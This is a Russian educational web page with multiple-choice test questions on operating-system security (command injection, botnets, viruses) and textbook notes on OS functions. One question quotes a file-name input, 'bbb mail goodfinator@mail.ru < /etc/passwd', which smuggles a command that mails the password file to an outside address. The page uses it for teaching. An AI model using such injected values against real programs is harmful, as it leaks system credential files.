Читайте также:
|
|
Программа, выполняющая копирование файла путем системного вызова, запрашивает у пользователя имена файла –источника и файла приемника. Злоумышленник ввел в качестве имен файлов aaa и bbb mail goodfinator@mail.ru < /etc/passwd. Какие действия выполнит программа:
1) Скопирует файл aaa в bbb и отправит файл bbb адресату goodfinator@mail.ru
2) Cкопирует файл aaa в файл паролей, относящийся к пользователю с идентификатором goofinator@mail.ru
3) Отправит файл aaa адресату goofinator@mail.ru
4) Скопирует файл aaa в bbb и отправит файл /etc/passwd адресату goodfinator@mail.ru
Наиболее популярное применение ботнетов (сети зараженных компьютеров) – Это
Организация сетевых азартных игр
Распространение пиратского контента
Рассылка коммерческого спама
Хищение денег с кредитных карт
Перезаписывающий вирус заражает исполняемую программу путем
Записи кода вируса в тело зараженной программы после каждого ее вызова
Перезаписи содержимого стека программы кодом вируса
Перезаписи служебных секторов диска
Записи вируса на место кода программы
Обнаружить зашифрованный вирус можно
С помощью универсальной системы дешифровани
По характерному поведению программы при запуске
По сигнатурам кода расшифровки вируса
По изменению размера программы
Основные положения из книги Гордеева
Транслятор – программа, которая позволяет считывать в память программу для трансляции исходных кодов и получения двоичной машинной программы.
Интерфейс – целый комплекс спецификаций, определяющий конкретный способ взаимодействия пользователя с компьютером.
Операционная система – комплекс системных управляющих и обрабатывающих программ, которые с одной стороны выступают как интерфейс между аппаратурой компьютера с его задачами, а с другой стороны, предназначены для наиболее эффективного расходования ресурсов вычислительной системы и организации надежных вычислений.
Основные функции ОС:
1) Прием от пользователя (или от оператора системы) заданий, или команд, сформулированных на соответствующем языке, и их обработка.
Загрузка в оперативную память подлежащих исполнению программ
Идентификация всех программ и данных.
Обслуживание всех операций ввода-вывода.
5) Обеспечение режима мультипрограммирования, то есть организация параллельного выполнения двух или более программ на одном процессоре, создающая видимость их одновременного исполнения.
Планирование и диспетчеризация задач в соответствии с заданными стратегией и дисциплинами обслуживания.
Дата добавления: 2015-08-21; просмотров: 78 | Нарушение авторских прав
<== предыдущая страница | | | следующая страница ==> |
Начальным | | | Синхронизация задач, обеспечение их средствами коммуникации |